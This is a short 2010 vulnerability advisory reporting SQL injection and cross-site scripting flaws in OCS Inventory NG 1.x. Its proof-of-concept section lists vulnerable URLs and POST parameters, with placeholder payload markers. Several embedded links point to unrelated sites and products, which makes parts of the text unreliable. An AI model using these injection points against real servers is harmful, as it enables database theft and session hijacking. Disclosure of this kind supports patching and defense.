OCSinventory-ng 1.x SQL Injection / Cross Site Scripting

`OCSinventory-ng  
  
Multiple remote vulnerabalities as ben descovered in OCS Inventory NG Management server, sql inyeccion and xss  
This vulneravility afect version 1.x  
  
  
[Name]  
OCS Inventory  
  
[vendor]  
http://www.ocsinventory-ng.org/<http://www.eclac.org/>  
  
  
  
[Download]  
http://www.ocsinventory-ng.org/index.php?page=1-02-1<http://www.comerciosonline.com/index.php?p=8>  
  
[Category]  
web server aplication  
  
[OS afected]  
Linux - Windows  
  
------------------------------  
-----------------------------------------------------------------------------------------  
  
Vulnerability  
  
  
[Category]  
Cros site scriptting (XSS), SQL Iny.  
  
[Affect Version]  
1.x  
  
[Discovered]  
22/01/2010  
  
[Reported]  
22/01/2010  
  
[Author]  
Hernan Jais  
  
[Mail]  
hernanjais1[at]gmail[dot]com  
  
[Web]  
www.dhcsecurity.com.ar<http://www.dhcsecurity.com.ar/>  
  
  
[POC]  
  
SQL INY GET variables  
http://localhost/ocsreports/index.php?&cuaff=NA&key=1&lareq=Computadores+que+tienen+una+etiqueta+dada&c=[SQL INY]&rev=1&page=1<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>  
  
SQL INY POST variables paginator  
  
http://localhost/ocsreports/index.php?multi=1  
  
  
POST: chm_0=useragent&lbl_0=Agente%  
2Bde%2Busuario&ega_0=IGUAL&val_0=OCS-NG_windows_client_v4054&act_1=on&chm_1=ipaddr&lbl_1=Direcci%25F3n%2BIP&ega_1=IGUAL[XSS]&val_1=+[SQL INY]&max=2&sub=Buscar  
  
  
http://localhost/ocsreports/index.php?multi=36<http://172.21.5.74/ocsreports/index.php?multi=36>  
  
POST: onglet_bis=A[SQL INY]&old_onglet_bis=C&pcparpage=20&page=0&old_pcparpage=20&search=&COMPAR=%3C&NBRE=&OLD_ONGLET=C  
  
  
XSS  
  
http://localhost/ocsreports/index.php?&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>cuaff=NA&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>key=1&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>lareq=Computadores+que+tienen+una+etiqueta+dada&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>c=h.memory&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>a=1&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>rev=1&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>page=1[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>  
  
  
  
-------------------------------------------------------------------------------------------------------------------  
  
  
`